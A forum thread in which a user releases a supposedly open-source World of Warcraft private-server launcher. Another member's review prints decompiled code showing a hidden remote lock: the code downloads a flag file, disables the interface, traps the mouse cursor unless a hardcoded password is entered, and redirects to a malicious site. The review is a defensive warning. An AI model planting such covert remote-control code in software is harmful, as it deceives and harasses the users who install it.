[Release][Source] OpenSource Launcher with autoupdater

[Scorpiones]

Hi people,

Scorpiones here, I used to be known under a different name here. Although I've quit world of warcraft ages ago I found this old Launcher I made for around 8 private servers. I was like, what the heck, lets share it with MMOWned!

Key features;
-VB2008
-Auto update system for the launcher(requires update server)
-Detects enGB and enUS installations for retail launches
-Several buttons
-Uses blizzard-style web-UI for the mainframe.(you can make your own website to fit the 700*400 webUI.) Just like blizzard(http://launcher.worldofwarcraft.com for the old retry link which they used) It allows flash and every other content to easily update it)
-Easy to combine with Alistars launcher
-Fully opensource, no credit needed
-Just for the code, your own design can be added and implemented easily
-Application lock modus(lock your application for all users over the internet)
-Uses .dll files(fake .dll files, people wont be scared of seeing them) for the updates etc.
-No C#, easy to understand and explained code.
-Just 500kb in size, quick download
-Clean UI implemented
-Easy to understand code, fully explained.

How to(beginner);
-Open the 'my server launcher.sln' with VB 2008
-Go to view -> code (F7)
-You will see the entire code, edit this(at the beginning of the code):

'GENERAL SETTINGS
'-Stuff you should edit
Dim base As String = "" 'Location where the files are located to update the launcher.
Dim realmlist As String = "myserveriphere" 'Your servers' ip (DO NOT ADD set realmlist).
Dim patchnotes As String = "PATCHNOTES" 'Patchnotes of latest update to this program.
Dim appname As String = "My server launcher by Scorpion" 'Title of the program. displayed in the top.

Dim website As String = "http://www.google.com" 'Website link (for the website button).
Dim votesite As String = "http://www.google.com/maps" 'Link to the votepage(for the vote button).

Dim centersite As String = "http://www.google.com" 'Sitelink for the web_centre of the program.

'LOCK SETTINGS
'-Stuff you can edit to lock the application from use(can be a powerful tool).
Dim centersite_lock As String = "http://www.youareanidiot.org/" 'Changes web_centre of the program. (youareanidiot.org is really funny)
Dim appname_lock As String = "My server launcher <LOCKED>" 'Sets a new title if the application is locked.
Dim unlock_password As String = "scorpion" 'Password to 'unlock' the program.

'CREDITS
'-You can edit but don't have to. Since its opensource, you are allowed to. (Small label in the bottom left corner).
Dim credits As String = "Scorpion"

Edit advanced:
-Open the 'my server launcher.sln' with VB 2008
-Use every system implemented in the program
(advanced VB2008 users only)

Anyway, have fun, if you use it give me +rep and send me a message so I can check out your server!

Do not use unless you know what you are doing and want to remove the malicious code - See my post, ~Stoneharry
Download HERE: MEGAUPLOAD - The leading online storage and file delivery service

Gz Scorpiones, retired developer

questions?
mail me: [email protected]

[EveronMightbane]

Dude this is beyond amazing, Downloading it now. +rep

[Scorpiones]

Thanks for the lovely comment

[Holysymbol]

Has anyone verified this?

[stoneharry]

It looks legit from a quick skim read, however I did find this function within the source:

		private void applock()
		{
			try
			{
				string startup = Application.StartupPath;
				if ((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.FileExists(startup + "\\app.dll"))
				{
					(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteFile(startup + "\\app.dll");
				}
				(new Microsoft.VisualBasic.Devices.Computer()).Network.DownloadFile(base + "\\app.dll", startup + "\\app.dll");
				double lock = Convert.ToDouble((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.ReadAllText(startup + "\\app.dll"));
				if (lock == 1)
				{
					locked = "true";
					Button1.Enabled = false;
					Button2.Enabled = false;
					Button3.Enabled = false;
					Button4.Enabled = false;
					Label3.Text = "You are an idiot! Scorpion wins, you lose!";
					this.ShowInTaskbar = false;
					this.ShowIcon = false;
					Label1.Enabled = false;
					Label2.Enabled = false;
					Timer1.Enabled = true;
				}
				else
				{
					locked = "false";
				}
			}
			catch
			{
			}
		}

I would have to question as to why that is called.

However, this is not malicious uncompiled (as it is in the download) and anyone with a better understanding of VB and the time to go through it will make great use of it, as it appears to function as described. +Rep, nice release.

edit:

Went through it some more, that function is called on load up. It appears that the user has taken the source code and then wrote his own function to be called that takes you to a malicious site.

		public void launchermainframe_Load(System.Object sender, System.EventArgs e)
		{
			locked = "false";
			if (File.Exists("World of Immortality Launcher.exe.new"))
			{
				File.Delete("World of Immortality Launcher.exe.new");
			}
			if (File.Exists("World of Immortality Launcher.exe.old"))
			{
				//PATCH NOTES HERE'
				Interaction.MsgBox("Implemented \'launch retail\' function. Works for enGB and enUS. Check the box and press launch to play retail.", MsgBoxStyle.Information, "1.4.0.0 Update notes");
				File.Delete("World of Immortality Launcher.exe.old");
			}
			if (File.Exists("files.txt"))
			{
				File.Delete("files.txt");
			}
			if (File.Exists("version.txt"))
			{
				File.Delete("version.txt");
			}
			UpdateProgram();
			Label3.Text = "World of Immortality Launcher " + Application.ProductVersion;
			applock();
			if (locked == "true")
			{
				WebBrowser1.Navigate("http://www.youareanidiot.org/");
			}
		}
		private void applock()
		{
			try
			{
				string startup = Application.StartupPath;
				if ((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.FileExists(startup + "\\app.dll"))
				{
					(new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.DeleteFile(startup + "\\app.dll");
				}
				(new Microsoft.VisualBasic.Devices.Computer()).Network.DownloadFile(base + "\\app.dll", startup + "\\app.dll");
				double lock = Convert.ToDouble((new Microsoft.VisualBasic.Devices.ServerComputer()).FileSystem.ReadAllText(startup + "\\app.dll"));
				if (lock == 1)
				{
					locked = "true";
					Button1.Enabled = false;
					Button2.Enabled = false;
					Button3.Enabled = false;
					Button4.Enabled = false;
					Label3.Text = "You are an idiot! Scorpion wins, you lose!";
					this.ShowInTaskbar = false;
					this.ShowIcon = false;
					Label1.Enabled = false;
					Label2.Enabled = false;
					Timer1.Enabled = true;
				}
				else
				{
					locked = "false";
				}
			}
			catch
			{
			}
		}
		
		public void Timer1_Tick(System.Object sender, System.EventArgs e)
		{
			TextBox1.Select();
			if (TextBox1.Text == "jasper1")
			{
				Timer1.Stop();
			}
			else
			{
				Cursor.Position = new Point(500, 500);
			}
		}

Ban user for this thread.